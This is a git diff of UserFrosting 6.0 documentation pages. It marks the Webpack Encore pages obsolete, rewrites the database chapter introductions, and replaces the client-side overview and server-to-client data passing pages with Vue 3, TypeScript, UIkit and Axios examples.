-Webpack is a module bundler, which means that you can import other JavaScript files. A single javascript file can require all of the dependencies we needs (e.g. jQuery or React), including any CSS, in a single place. You can see this with a JavaScript require (or [import](https://stackoverflow.com/questions/46677752/the-difference-between-requirex-and-import-x)) statement : 
+Webpack is a module bundler, which means that you can import other JavaScript files. A single javascript file can require all of the dependencies we needs (e.g. jQuery or React), including any CSS, in a single place. You can see this with a JavaScript require (or [import](https://stackoverflow.com/questions/46677752/the-difference-between-requirex-and-import-x)) statement :
 
 **app/assets/main.js**
 ```js
@@ -23,7 +23,7 @@ Webpack is a module bundler, which means that you can import other JavaScript fi
 require('theme-adminlte');
 ```
 
-Encore's job (via Webpack) is simple: to read and follow all of the import/require statements and create one final `main.js` (and `main.css`) that contains everything you need. 
+Encore's job (via Webpack) is simple: to read and follow all of the import/require statements and create one final `main.js` (and `main.css`) that contains everything you need.
 
 Encore may split the end result into multiple files for performance (using [split chunks feature](https://symfony.com/doc/current/frontend/encore/split-chunks.html)), but all of that code is still downloaded on every page if you were to include the `main.js` file.
 
@@ -51,7 +51,7 @@ The shared resources (e.g. template resources) can be loaded on every page along
 Now that the "entry" files have been created, we need to register them with Encore as entrypoints. Entrypoints are configured in `/webpack.entries.js` by default.
 
 > [!NOTE]
-> Entrypoints can also be defined in `/webpack.config.js` directly. However, UserFrosting defines them in a separate file, as it's easier to include other sprinkles entries. 
+> Entrypoints can also be defined in `/webpack.config.js` directly. However, UserFrosting defines them in a separate file, as it's easier to include other sprinkles entries.
 
 **webpack.entries.js**
 ```js
@@ -65,7 +65,7 @@ module.exports = {
 
 This tells Encore to load the `app/assets/main.js` file (for example) and follow all of the `require()` statements. It will then package everything together and - thanks to the first `main` argument - output final `public/assets/main.js` and `public/assets/main.css` files.
 
-Sprinkle's overriding properties also applies to the entries themselves. In other words, naming an entry `page.account` in your own sprinkle will replace the one defined in the `account` sprinkle with yours, for example. In the process, it will probably break core user management functionality. In general, be careful to provide your entries with a unique name to avoid difficult to diagnose runtime errors. 
+Sprinkle's overriding properties also applies to the entries themselves. In other words, naming an entry `page.account` in your own sprinkle will replace the one defined in the `account` sprinkle with yours, for example. In the process, it will probably break core user management functionality. In general, be careful to provide your entries with a unique name to avoid difficult to diagnose runtime errors.
 
 ## Rendering entrypoints
 
diff --git a/app/pages/6.0/13.asset-management/07.webpack-encore/03.advance-use/docs.md b/app/pages/6.0/13.asset-management/07.webpack-encore/03.advance-use/docs.md
index a7dcd9bb..fa1a06fe 100644
--- a/app/pages/6.0/13.asset-management/07.webpack-encore/03.advance-use/docs.md
+++ b/app/pages/6.0/13.asset-management/07.webpack-encore/03.advance-use/docs.md
@@ -5,11 +5,11 @@ description: ""
 
 > [!WARNING]
 > **This documentation is obsolete.** UserFrosting 6 uses **Vite** as the default asset bundler, not Webpack Encore.
-> 
+>
 > Please see:
-> - [Advanced Usage](/asset-management/advanced) for TypeScript, Vue 3, CSS preprocessors, and optimization
-> - [Sprinkle Assets](/asset-management/sprinkle-assets) for building sprinkles as libraries
-> - [Migration Guide](/asset-management/migration) to migrate from Webpack Encore
+> - [Advanced Usage](asset-management/advanced) for TypeScript, Vue 3, CSS preprocessors, and optimization
+> - [Sprinkle Assets](asset-management/sprinkle-assets) for building sprinkles as libraries
+> - [Migration Guide](asset-management/migration) to migrate from Webpack Encore
 
 By using Webpack Encore to manage frontend assets, Sass, Less, Vue and React can be used with UserFrosting out of the box.
 
@@ -21,7 +21,7 @@ By using Webpack Encore to manage frontend assets, Sass, Less, Vue and React can
 To enable [Sass/SCSS](https://sass-lang.com) support, first enable Sass loader inside `webpack.config.js`, install the required npm dependencies, and restart Webpack.
 
 1. Edit `webpack.config.js`
-    
+
     **webpack.config.js**
     ```js
     Encore
@@ -63,7 +63,7 @@ For more information, check out [Encore Documentation](https://symfony.com/doc/c
 To enable [Less](https://lesscss.org) support, first enable Less loader inside `webpack.config.js`, install the required npm dependencies, and restart Webpack.
 
 1. Edit `webpack.config.js`
-    
+
     **webpack.config.js**
     ```js
     Encore
@@ -111,9 +111,9 @@ Encore
 
 Then restart Encore. When you do, it will give you a command you can run to install any missing dependencies. After running that command and restarting Encore, you're done!
 
-Any `.vue` files that you require will be processed correctly. You can also configure the `vue-loader` options by passing an options callback to `enableVueLoader()`. 
+Any `.vue` files that you require will be processed correctly. You can also configure the `vue-loader` options by passing an options callback to `enableVueLoader()`.
 
-For more information, check out [Encore Documentation](https://symfony.com/doc/current/frontend/encore/vuejs.html). 
+For more information, check out [Encore Documentation](https://symfony.com/doc/current/frontend/encore/vuejs.html).
 
 > [!NOTE]
 > Future version of UserFrosting will make use of Vue.JS. You can checkout a proof of concept of a Vue based interface running inside UserFrosting [on Github](https://github.com/userfrosting/demo-vue/tree/main)
diff --git a/app/pages/6.0/13.asset-management/07.webpack-encore/docs.md b/app/pages/6.0/13.asset-management/07.webpack-encore/docs.md
index 1e25b4c3..7287c337 100644
--- a/app/pages/6.0/13.asset-management/07.webpack-encore/docs.md
+++ b/app/pages/6.0/13.asset-management/07.webpack-encore/docs.md
@@ -5,11 +5,11 @@ description: Asset bundles should be compiled in production to allow for faster
 
 > [!WARNING]
 > **This documentation is obsolete.** UserFrosting 6 uses **Vite** as the default asset bundler, not Webpack Encore. Webpack Encore is still supported for backward compatibility but not recommended for new projects.
-> 
+>
 > Please see:
-> - [Asset Management Introduction](/asset-management/introduction) for Vite-based asset management
-> - [Getting Started with Vite](/asset-management/getting-started) for configuration guide
-> - [Migration Guide](/asset-management/migration) if you need to migrate from Webpack Encore to Vite
+> - [Asset Management Introduction](asset-management/introduction) for Vite-based asset management
+> - [Getting Started with Vite](asset-management/getting-started) for configuration guide
+> - [Migration Guide](asset-management/migration) if you need to migrate from Webpack Encore to Vite
 
 In a minimalistic setup, asset retrieval is fairly straightforward. We might just keep all of our Javascript files in a `js/` directory directly under our public document root directory. Then the URL is simply `http://example.com/js/whatever.js`, the web server matches the _URL path_ `/js/whatever.js` to the _filesystem_ path `/path/to/document/root/public/js/whatever.js` and finally places the contents of that file in the HTTP response. In most web servers, this happens so transparently that a lot of new developers assume that they're somehow giving direct access to the server's file system. In reality the web server is mediating the interaction, and generating an HTTP response using the _contents_ of these files.
 
@@ -114,10 +114,10 @@ if (!Encore.isRuntimeEnvironmentConfigured()) {
 Encore
     // directory where compiled assets will be stored
     .setOutputPath('public/assets')
-    
+
     // public path used by the web server to access the output path
     .setPublicPath('/assets/')
-    
+
     // only needed for CDN's or sub-directory deploy
     //.setManifestKeyPrefix('build/')
 
@@ -137,7 +137,7 @@ Encore
     // but, you probably want this, unless you're building a single-page app
     .enableSingleRuntimeChunk()
     // .disableSingleRuntimeChunk()
-    
+
     /*
      * FEATURE CONFIG
      *
@@ -205,7 +205,7 @@ The watch option can be used when actively working on a file. It will compile as
 ```bash
 $ php bakery assets:build --watch
 
-# or 
+# or
 
 $ php bakery assets:webpack --watch
 ```
@@ -218,7 +218,7 @@ To compile assets for a **production** environment, simply use:
 ```bash
 $ php bakery assets:build --production
 
-# or 
+# or
 
 $ php bakery assets:webpack --production
 ```
diff --git a/app/pages/6.0/13.asset-management/chapter.md b/app/pages/6.0/13.asset-management/chapter.md
index 621afc17..c6c92210 100644
--- a/app/pages/6.0/13.asset-management/chapter.md
+++ b/app/pages/6.0/13.asset-management/chapter.md
@@ -12,7 +12,7 @@ Frontend assets — JavaScript, TypeScript, CSS, Vue components, images, fonts,
 1. How do we locate assets that are usually not located in the publicly served folder and **generate appropriate URLs** as proxies so they can be accessed publicly?
 2. When the client actually loads a page and **requests** an asset via the URL, how do we map the URL back to a file path on the server and return it to the client?
 3. How do we handle compiled assets and bundle assets together to improve efficiency?
-4. How do we integrate with modern frameworks, like Vue.JS, or preprocessors like Less or Sass? 
+4. How do we integrate with modern frameworks, like Vue.JS, or preprocessors like Less or Sass?
 5. How do we load external NPM dependencies?
 
 To answer this, UserFrosting uses **Vite** as its default asset bundler to manage, compile, and optimize these resources efficiently.
diff --git a/app/pages/6.0/14.database/01.overview/docs.md b/app/pages/6.0/14.database/01.overview/docs.md
index 0b4d61ad..7b54d80a 100644
--- a/app/pages/6.0/14.database/01.overview/docs.md
+++ b/app/pages/6.0/14.database/01.overview/docs.md
@@ -1,10 +1,14 @@
 ---
 title: Overview
 description: UserFrosting uses Eloquent, Laravel's powerful ORM, to provide a fluent query builder and active record layer on top of your database.
-obsolete: true
+wip: true
 ---
 
-Even in relatively simple applications, writing out the same types of database queries over and over can get tedious. To make things easier and your code [DRY](https://en.wikipedia.org/wiki/Don't_repeat_yourself)er, UserFrosting takes advantage of Laravel's excellent object-relation mapper, **[Eloquent](https://laravel.com/docs/8.x/eloquent#introduction)**.
+Writing database queries can get tedious fast. Every time you need user data, you're writing `SELECT * FROM users WHERE id = ?`. Want to find users by email? Another query. Need related data? Now you're juggling multiple queries and manually joining results. Your code becomes a mess of repetitive SQL strings and error-prone manual data handling.
+
+**Eloquent**, Laravel's powerful ORM (Object-Relational Mapper), eliminates this tedium. Instead of writing SQL, you work with intuitive PHP objects and methods. Need a user? `User::find($id)`. Want to filter? `User::where('email', $email)->first()`. Loading relationships? `$user->roles`. Eloquent handles all the SQL behind the scenes, making your code cleaner, safer (automatic escaping prevents SQL injection), and more maintainable.
+
+UserFrosting leverages Eloquent throughout, giving you professional database tools without the overhead of writing raw queries. This page covers Eloquent configuration in UserFrosting and points you to Laravel's excellent documentation for learning the ORM in depth.
 
 ## Configuration
 
diff --git a/app/pages/6.0/14.database/02.default-tables/docs.md b/app/pages/6.0/14.database/02.default-tables/docs.md
index 6d2bcd73..f7e0d040 100644
--- a/app/pages/6.0/14.database/02.default-tables/docs.md
+++ b/app/pages/6.0/14.database/02.default-tables/docs.md
@@ -1,7 +1,7 @@
 ---
 title: Default Tables
 description: UserFrosting's installer creates a number of tables by default.  Here, we explain the purpose of each table.
-obsolete: true
+wip: true
 ---
 
 When you install UserFrosting with the [Bakery CLI](cli), a number of tables will automatically added to your database. These tables are required for UserFrosting's built-in features, such as user accounts, request throttling, persistent sessions, and access control.
diff --git a/app/pages/6.0/14.database/03.migrations/docs.md b/app/pages/6.0/14.database/03.migrations/docs.md
index d68203bc..272950f1 100644
--- a/app/pages/6.0/14.database/03.migrations/docs.md
+++ b/app/pages/6.0/14.database/03.migrations/docs.md
@@ -1,9 +1,19 @@
 ---
 title: Migrations
 description: Extend the database and add your own tables in a consistent and easily replicable way with a migration.
-obsolete: true
+wip: true
 ---
 
+Every application evolves. You add tables, modify columns, create indexes, and adjust your database schema as requirements change. But how do you keep databases in sync across your development team, staging servers, and production? Manual SQL scripts are fragile, error-prone, and impossible to version control effectively. One missed script and environments fall out of sync.
+
+**Database migrations** solve this problem elegantly. A migration is version-controlled PHP code that defines database changes (create table, add column, etc.) using Laravel's intuitive Schema Builder. Migrations are tracked automatically—UserFrosting knows which have run and which haven't. Running `php bakery migrate` applies all pending changes in the correct order, keeping every environment perfectly synchronized.
+
+Migrations also make testing safer by setting up clean test databases automatically, and they're reversible—the `down()` method can undo changes if needed.
+
+This page explains how to create and use migrations to manage your database schema professionally.
+
+## Why Migrations Matter
+
 When you start building your application with UserFrosting, you'll no doubt be adding your own tables to the data model. After all, what's the point of having users if there's nothing in your application for them to use?
 
 Though you could add new tables to your database through the command line, phpMyAdmin, MySQL Workbench or another tool, you will probably want something that is portable, allowing you to set up your database on other developers' machines or on your test and production servers. To do this, you should use a **migration**. Migrations bring version control to your database. If you have ever had to share sql files or manually edit a database schema, you've faced the problem that database migrations solve.
@@ -23,7 +33,7 @@ When you run the main UserFrosting migration script (`php bakery migrate`), it w
 
 Each migration class needs to extend the base `UserFrosting\Sprinkle\Core\Database\Migration` class. A migration class must contains two methods: `up` and `down`. The `up` method is used to add new tables, columns, or indexes to your database, while the `down` method should simply reverse the operations performed by the `up` method.
 
-The base class for a `MyTable` migration looks like this : 
+The base class for a `MyTable` migration looks like this :
 
 **app/src/Database/Migrations/MyTable.php**
 ```php
diff --git a/app/pages/6.0/14.database/04.seeding/docs.md b/app/pages/6.0/14.database/04.seeding/docs.md
index 34373b86..b389664f 100644
--- a/app/pages/6.0/14.database/04.seeding/docs.md
+++ b/app/pages/6.0/14.database/04.seeding/docs.md
@@ -1,7 +1,7 @@
 ---
 title: Database Seeding
 description: Seeding is a simple way to populate the database with default data.
-obsolete: true
+wip: true
 ---
 
 Seeding can be used to populate the database. A seed is perfect to add test or default data to the database at any moment.
@@ -17,7 +17,7 @@ A seed is actually the most versatile yet simple way to interact with the databa
 
 ## Seed structure
 
-Each seed class needs to implement the `\UserFrosting\Sprinkle\Core\Seeder\SeedInterface` interface and must at least implement the `run(): void` method. This method will be the one ran by the `seed` Bakery command. Of course your class may contains other helper methods, but they need to be called by the `run` one. 
+Each seed class needs to implement the `\UserFrosting\Sprinkle\Core\Seeder\SeedInterface` interface and must at least implement the `run(): void` method. This method will be the one ran by the `seed` Bakery command. Of course your class may contains other helper methods, but they need to be called by the `run` one.
 
 > [!TIP]
 > Any services you require inside your seed class can be [injected in the constructor via Autowire](dependency-injection/the-di-container#autowiring).
@@ -42,7 +42,7 @@ class MySeed implements SeedInterface
 
 ## Registering Seeds
 
-To be picked up by the `seed` bakery command, a seed class files must first be registered in the *Sprinkle Recipe*, using the `SeedRecipe` sub-recipe and the `getSeeds():array` method: 
+To be picked up by the `seed` bakery command, a seed class files must first be registered in the *Sprinkle Recipe*, using the `SeedRecipe` sub-recipe and the `getSeeds():array` method:
 
 ```php
 <?php
@@ -89,7 +89,7 @@ Seeder
   [1] UserFrosting\Sprinkle\Account\Database\Seeds\DefaultPermissions
   [2] UserFrosting\Sprinkle\Account\Database\Seeds\DefaultRoles
   [3] UserFrosting\Sprinkle\MySprinkle\Database\Seeds\MySeed
- > 
+ >
 ```
 
 The `seed:list` command can also be used to display a list of all available seeds:
diff --git a/app/pages/6.0/14.database/05.data-sprunjing/docs.md b/app/pages/6.0/14.database/05.data-sprunjing/docs.md
index c3a3182a..61356381 100644
--- a/app/pages/6.0/14.database/05.data-sprunjing/docs.md
+++ b/app/pages/6.0/14.database/05.data-sprunjing/docs.md
@@ -1,7 +1,7 @@
 ---
 title: Data Sprunjing
 description: Sprunjing is our term for the common task of filtering, sorting, and paginating data from the database.  Data can be sprunjed for JSON or CSV output.
-obsolete: true
+wip: true
 ---
 
 Once your users log in, you'll probably want to have them interact with your data models in some way. One very common UI pattern is to present a list or table of data to a user, and allow them to **sort**, **paginate**, and **search/filter** the data. For example, the [tablesorter](https://mottie.github.io/tablesorter/docs/) and [select2](http://select2.github.io/) plugins follow this pattern.
diff --git a/app/pages/6.0/14.database/chapter.md b/app/pages/6.0/14.database/chapter.md
index d7e477e7..484bc811 100644
--- a/app/pages/6.0/14.database/chapter.md
+++ b/app/pages/6.0/14.database/chapter.md
@@ -1,13 +1,15 @@
 ---
 title: Database
 description: UserFrosting uses Laravel's Eloquent component to provide a convenient abstraction layer on top of your database.
-obsolete: true
+wip: true
 ---
 
 #### Chapter 14
 
 # The Database and ORM Layer
 
-UserFrosting uses Laravel's [Eloquent](https://laravel.com/docs/8.x/eloquent) component to provide a convenient abstraction layer on top of your database. This allows you to quickly manipulate the database from within your controllers without needing to write tedious, repetitive queries each time.
+Every application needs to store data—user accounts, content, settings, and more. But writing raw SQL queries for every database operation leads to repetitive code, security vulnerabilities (like SQL injection), and maintenance headaches.
 
-We also discuss how to create database migrations, allowing you to easily set up your database tables, and database seeds, allowing your to populate the database with default values.
+UserFrosting uses Laravel's [Eloquent ORM](https://laravel.com/docs/eloquent) to solve these problems. An **ORM (Object-Relational Mapper)** lets you work with database records as PHP objects, automatically handling queries, relationships, and data validation. Instead of writing SQL, you write intuitive PHP code that's easier to read, test, and secure.
+
+This chapter covers everything you need to work with databases in UserFrosting: defining models, querying data, managing relationships, creating migrations to version your schema, and seeding initial data. You'll learn to build robust, maintainable data layers for your applications.
diff --git a/app/pages/6.0/15.client-side-code/01.overview/docs.md b/app/pages/6.0/15.client-side-code/01.overview/docs.md
index 0820642c..c1b38bfc 100644
--- a/app/pages/6.0/15.client-side-code/01.overview/docs.md
+++ b/app/pages/6.0/15.client-side-code/01.overview/docs.md
@@ -1,25 +1,261 @@
 ---
-title: Overview
-description: An overview of the client-side components that ship with UserFrosting.
-obsolete: true
+title: Client-Side Stack Overview
+description: Understanding the modern frontend tools and libraries that power UserFrosting 6.0
+wip: true
 ---
 
-UserFrosting uses jQuery and Bootstrap to provide a rich, intuitive, and modern user interface.
-
-It also uses the following components by default (of course, you can replace any of these as you see fit in your own Sprinkles):
-
-- [Handlebars.js](http://handlebarsjs.com/) - [client-side templating engine](client-side-code/client-side-templating)
-- [FontAwesome](http://fontawesome.io/) - Wildly popular icon library
-- [Ionicons](http://ionicons.com/) - More icons
-- [Tablesorter](https://mottie.github.io/tablesorter/docs/) - Flexible client-side table sorting
-- [jQuery Validation Plugin](https://jqueryvalidation.org/) - client-side [validation](routes-and-controllers/client-input/validation)
-- [select2](http://select2.github.io/) - Dropdowns that support search, autocomplete, and more
-- [Moment.js](https://momentjs.com/) - Parse, validate, manipulate, and display dates in JavaScript
-- [URI.js](http://medialize.github.io/URI.js/) - URL parsing library
-- [SpeakingURL](https://pid.github.io/speakingurl/) - URL slug generation
-- [iCheck](http://icheck.fronteed.com/) - Attractive checkboxes
-- [clipboard.js](https://clipboardjs.com/) - A modern approach to copy text to clipboard
-- [jquery-slimscroll](http://rocha.la/jQuery-slimScroll) - required by AdminLTE theme
-- [fastclick](https://github.com/ftlabs/fastclick) - required by AdminLTE theme
-
-This chapter fills in some of the gaps in communication between the client and server-side code bases, and explains how UserFrosting uses Handlebars.js and custom jQuery plugins to build dynamic, fully interactive features in your client's browser. 
+UserFrosting 6.0 uses a modern, component-based approach to building user interfaces. This page introduces the core technologies and explains how they work together to create fast, interactive web applications.
+
+## Core Technologies
+
+### Vue 3 - The Progressive Framework
+
+[Vue 3](https://vuejs.org/) is the heart of UserFrosting's client-side architecture. It's a progressive JavaScript framework that makes building interactive UIs straightforward and enjoyable.
+
+**What makes Vue 3 special**:
+- **Reactive data binding**: Your data and UI stay in sync automatically
+- **Component-based**: Build reusable pieces that encapsulate structure, style, and behavior
+- **Single File Components**: Keep your HTML, CSS, and JavaScript together in `.vue` files
+- **Composition API**: Organize complex logic more effectively than Options API
+- **Virtual DOM**: Efficient updates minimize browser repaints
+- **TypeScript-first**: Excellent TypeScript integration out of the box
+
+**Example** - A simple reactive component:
+```vue
+<template>
+  <button @click="count++">
+    Clicked {{ count }} times
+  </button>
+</template>
+
+<script setup lang="ts">
+import { ref } from 'vue'
+
+const count = ref(0)
+</script>
+```
+
+No DOM manipulation, no event listeners to wire up manually—Vue handles it all.
+
+### TypeScript - Type Safety for JavaScript
+
+[TypeScript](https://www.typescriptlang.org/) is JavaScript with syntax for types. It helps you catch errors during development instead of in production.
+
+**Benefits**:
+- **Catch bugs early**: Type checking finds errors before you run the code
+- **Better IDE support**: Autocompletion, refactoring, and inline documentation
+- **Self-documenting**: Types serve as living documentation
+- **Safer refactoring**: Rename variables, methods, and interfaces with confidence
+
+**Example**:
+```typescript
+interface User {
+  id: number
+  username: string
+  email: string
+}
+
+function greetUser(user: User): string {
+  return `Hello, ${user.username}!`
+}
+
+// TypeScript catches this error at compile time:
+// greetUser({ id: 1 }) // Error: Missing required properties
+```
+
+> [!TIP]
+> TypeScript is optional but highly recommended. You can start with regular JavaScript and gradually add types as you learn.
+
+### UIkit - Modern CSS Framework
+
+[UIkit](https://getuikit.com/) is a lightweight, modular CSS framework that provides the building blocks for UserFrosting's default AdminLTE theme.
+
+**Key features**:
+- **Lightweight**: Smaller bundle size than Bootstrap
+- **Modular**: Import only the components you need
+- **LESS-based**: Easy theme customization with variables
+- **Responsive**: Mobile-first design out of the box
+- **Rich components**: Modals, dropdowns, accordions, and more
+
+**Example** - UIkit button:
+```html
+<button class="uk-button uk-button-primary">
+  Primary Action
+</button>
+```
+
+### Vite - Modern Build Tool
+
+[Vite](https://vitejs.dev/) (covered in [Asset Management](asset-management)) handles building and bundling your frontend code.
+
+**Development benefits**:
+- **Instant server start**: No bundling during development
+- **Hot Module Replacement**: See changes immediately without page refresh
+- **Fast builds**: Significantly faster than Webpack
+
+### Axios - HTTP Client
+
+[Axios](https://axios-http.com/) is a promise-based HTTP client for making API requests.
+
+**Why we use it**:
+- **Consistent API**: Works the same in browsers and Node.js
+- **Automatic JSON parsing**: No need for `response.json()`
+- **Request/response interceptors**: Add authentication headers globally
+- **Better error handling**: Structured error objects
+- **Cancel requests**: Abort pending requests when needed
+
+**Example**:
+```typescript
+import axios from 'axios'
+
+// GET request
+const response = await axios.get('/api/users')
+const users = response.data
+
+// POST request with data
+await axios.post('/api/users', {
+  username: 'alex',
+  email: 'alex@example.com'
+})
+```
+
+## Supporting Libraries
+
+UserFrosting includes these additional libraries for common tasks:
+
+### FontAwesome - Icon Library
+
+[FontAwesome](https://fontawesome.com/) provides thousands of icons for your interface.
+
+**Usage in templates**:
+```html
+<i class="fa fa-user"></i> User Profile
+<i class="fa fa-cog"></i> Settings
+```
+
+### Luxon - Date & Time Handling
+
+[Luxon](https://moment.github.io/luxon/) (modern replacement for Moment.js) handles date parsing, formatting, and manipulation.
+
+**Example**:
+```typescript
+import { DateTime } from 'luxon'
+
+const now = DateTime.now()
+const formatted = now.toFormat('yyyy-MM-dd HH:mm:ss')
+const relative = now.toRelative() // "2 hours ago"
+```
+
+### Highlight.js - Code Syntax Highlighting
+
+[Highlight.js](https://highlightjs.org/) provides syntax highlighting for code blocks (used in UserFrosting's documentation).
+
+## Legacy Libraries (Deprecated)
+
+> [!WARNING]
+> These libraries are included for backward compatibility but are **deprecated**. New code should not use them.
+
+### jQuery (Deprecated)
+
+**Status**: Included but deprecated. Will be removed in a future version.
+
+**Migration**: Replace jQuery code with Vue 3 components or vanilla JavaScript.
+
+**Why deprecated**: Modern browsers have native APIs for what jQuery provided, and Vue's reactivity makes DOM manipulation unnecessary.
+
+### Handlebars (Deprecated)
+
+**Status**: Deprecated in favor of Vue templates.
+
+**Migration**: Convert Handlebars templates to Vue Single File Components.
+
+**Why deprecated**: Vue's template syntax is more powerful and integrates better with component logic.
+
+### Bootstrap (Removed from Core)
+
+**Status**: Replaced by UIkit in the default AdminLTE theme.
+
+**Migration**: Convert Bootstrap classes to UIkit equivalents.
+
+**Why changed**: UIkit provides a modern, lightweight alternative with excellent customization through LESS.
+
+## How It All Works Together
+
+Here's how these technologies combine in a typical UserFrosting page:
+
+1. **Backend (PHP/Twig)**: Renders the initial HTML structure and injects data
+2. **Vue 3**: Takes over specific parts of the page (or the entire page) for interactivity
+3. **TypeScript**: Provides type safety for your Vue components and utilities
+4. **UIkit**: Styles components with responsive, beautiful CSS
+5. **Axios**: Communicates with the backend API for dynamic data
+6. **Vite**: Bundles everything together efficiently
+
+**Example flow**:
+```
+User loads page
+    ↓
+Twig renders HTML + data
+    ↓
+Vue mounts to DOM
+    ↓
+User clicks button
+    ↓
+Vue handles click event
+    ↓
+Axios sends API request
+    ↓
+Server responds with JSON
+    ↓
+Vue updates UI reactively
+```
+
+## Development Workflow
+
+Your typical development cycle:
+
+1. **Start dev servers** (in two terminals):
+   ```bash
+   php bakery serve       # Backend (port 8080)
+   npm run vite:dev       # Frontend (port 5173)
+   ```
+
+2. **Make changes** to Vue components or TypeScript files
+
+3. **See results instantly** via Hot Module Replacement—no page refresh needed
+
+4. **Build for production**:
+   ```bash
+   npm run vite:build
+   ```
+
+## File Organization
+
+Frontend code lives in `app/assets/`:
+
+```
+app/assets/
+├── main.ts              # Application entry point
+├── theme.less           # Main stylesheet (UIkit customization)
+├── components/          # Vue components
+│   ├── MyComponent.vue
+│   └── shared/
+│       └── Button.vue
+├── composables/         # Reusable Vue logic
+│   └── useAuth.ts
+├── css/                 # Additional stylesheets
+├── public/              # Static assets (images, fonts)
+└── types/               # TypeScript type definitions
+```
+
+## What's Next?
+
+Now that you understand the stack, explore how to:
+
+- **[Export Variables](client-side-code/exporting-variables)**: Pass data from PHP to JavaScript
+- **[Build Vue Components](client-side-code/vue-components)**: Create reactive user interfaces
+- **[Work with Forms](client-side-code/components/forms)**: Handle user input and validation
+- **[Create Tables](client-side-code/components/tables)**: Display and manipulate data
+- **[Show Alerts](client-side-code/components/alerts)**: Provide user feedback
+
+> [!NOTE]
+> Don't feel overwhelmed! You don't need to master everything at once. Start with the basics and gradually explore more advanced features as needed.
diff --git a/app/pages/6.0/15.client-side-code/02.exporting-variables/docs.md b/app/pages/6.0/15.client-side-code/02.exporting-variables/docs.md
index 578a87f9..b78948ba 100644
--- a/app/pages/6.0/15.client-side-code/02.exporting-variables/docs.md
+++ b/app/pages/6.0/15.client-side-code/02.exporting-variables/docs.md
@@ -1,133 +1,391 @@
 ---
-title: Exporting Variables to Javascript
-description: The server-side variables that UserFrosting automatically exports to your pages as Javascript variables, and suggestions for exporting additional variables in your application.
-obsolete: true
+title: Passing Data from Server to Client
+description: How to pass server-side data to your Vue components and JavaScript code in UserFrosting 6.0
+wip: true
 ---
 
-We often need to access the value of some server-side variable in our client-side code. For example, we use the value `site.uri.public` throughout our Javascript code when building urls for AJAX requests. The value of this variable is taken directly from UserFrosting's configuration variable of the same name, and embedded into a Javascript variable on every page.
+Modern web applications need to pass data from the backend (PHP) to the frontend (JavaScript/Vue). UserFrosting provides several strategies for this, depending on your needs.
 
-There are a number of ways to get the values of specific variables from the server to the client. For example:
+This page covers the main approaches: global configuration objects, page-specific data, component props, and data attributes. Choose the right approach based on your use case.
 
-- Embedding data in the page DOM (HTML attributes), and then retrieving it from the DOM using `.prop`, `.val`, `.data`, or some other Javascript method
-- Making a separate AJAX request for the value of the variable
-- Printing the value of a PHP/Twig variable directly into a `<script>` tag and assigning it to a Javascript variable
+## Understanding the Client-Server Boundary
 
-Depending on the context of your application, one of these options might be more appropriate than the others. For the purposes of this section however, we will focus on the last option, and the "global" Javascript variables that UserFrosting makes available on each page. This is the best choice when you have miscellaneous values that aren't closely associated with any specific element of the DOM, and are generic enough that they don't warrant the trouble of making a separate AJAX request for their values.
+Before we dive in, remember that **JavaScript cannot directly access PHP variables**. When your browser loads a page:
 
-No matter how you go about it, it's important to keep in mind that **you're not directly accessing server-side variables in Javascript.** Keep in mind our [discussion on the client-server conversation](background/the-client-server-conversation) - the client makes a **request** for the page and receives a fixed piece of HTML in the **response**.
+1. **Server renders**: PHP/Twig generates HTML with embedded data
+2. **Client receives**: Browser gets a static HTML document
+3. **JavaScript runs**: Your code accesses the embedded data
 
-Any PHP variables we receive in the response are really just **copies of their server-side values** when the page was rendered. Our page can't change these values on the server without making another request - and even then, changes won't persist from one request to the next unless we use some sort of persistence mechanism (sessions, database, etc).
+Any data you need on the client must be included in the HTML response. Changes in JavaScript don't affect PHP variables unless you make an API request.
 
-## Site variables
+> [!NOTE]
+> This is a fundamental limitation of web architecture, not a UserFrosting quirk. The server and client are separate programs running on different machines.
 
-By default, UserFrosting will create a global `site` Javascript variable on every page. `site` is a JSON object that contains a copy of the main `site` config array, [defined in PHP](configuration/config-files) (ie. `app/sprinkles/core/config/default.php`). The following values are among the ones contained in the `site` object :
+## Approaches to Passing Data
 
-- `site.uri.public`: Base url of your site (e.g., `https://example.com`).
-- `site.debug.ajax`: `true` if AJAX debugging mode is enabled, false otherwise.
-- `site.csrf.keys.name`: The name of the CSRF `name` attribute expected by the CSRF middleware (Defaults to `csrf_name`).
-- `site.csrf.keys.value`: The name of the CSRF `value` attribute expected by the CSRF middleware (Defaults to `csrf_value`).
-- `site.csrf.name`: The value of the CSRF `name` attribute.
-- `site.csrf.value`: The value of the CSRF `value` attribute.
+### 1. Global Configuration Object (Best for Site-Wide Settings)
 
-Notice that all of these variables are nested under a single, top-level `site` object which is constructed in the `core/templates/pages/partials/config.js.twig` template. By formatting these as keys in a JSON object, rather than making each one an individual variable, we avoid polluting Javascript's global namespace with too many identifiers.
+UserFrosting creates a global `site` JavaScript object on every page containing configuration values. This is ideal for settings you'll need across multiple pages.
 
-To add, remove, or modify the contents of the `site` object, simply extends the `site` configuration [in your Sprinkle](configuration/config-files#file-structure).
+**Available in**: `window.site` or just `site`
 
-Alternatively, you can override `config.js.twig` in your Sprinkle. `config.js.twig` itself pulls its values from Twig's global variables (`site`, `current_user`, etc). Keep in mind that you can add global variables to Twig by [creating a Twig extension](https://twig.sensiolabs.org/doc/2.x/advanced.html#creating-an-extension) and then loading your extension by [extending the `view` service](services/extending-services#extending-existing-services). This process is summarized in this diagram:
+**Common values**:
+- `site.uri.public` - Base URL of your site (e.g., `https://example.com`)
+- `site.debug.ajax` - Whether AJAX debugging is enabled
+- `site.csrf.name` - CSRF token name
+- `site.csrf.value` - CSRF token value
 
-![Extending UserFrosting's client-side site variable](images/extending-site-variable.png)
+**Example usage** in TypeScript:
+```typescript
+// Making an API request with base URL
+import axios from 'axios'
+
+const response = await axios.get(`${site.uri.public}/api/users`)
+
+// Including CSRF token in POST requests
+await axios.post(`${site.uri.public}/api/users`, userData, {
+  headers: {
+    [site.csrf.keys.name]: site.csrf.name,
+    [site.csrf.keys.value]: site.csrf.value
+  }
+})
+```
+
+**How it works**: The `site` object is generated by `core/templates/pages/partials/config.js.twig` and pulls values from your [configuration files](configuration/config-files).
+
+**Customizing**: To add custom values to `site`:
+
+1. **Option A**: Extend your sprinkle's configuration:
+   ```php
+   // app/sprinkles/mysprinkle/config/default.php
+   return [
+       'site' => [
+           'myapp' => [
+               'feature_flag' => true,
+               'api_version' => 'v2'
+           ]
+       ]
+   ];
+   ```
+
+2. **Option B**: Override `config.js.twig` in your sprinkle to add custom logic
 
 > [!WARNING]
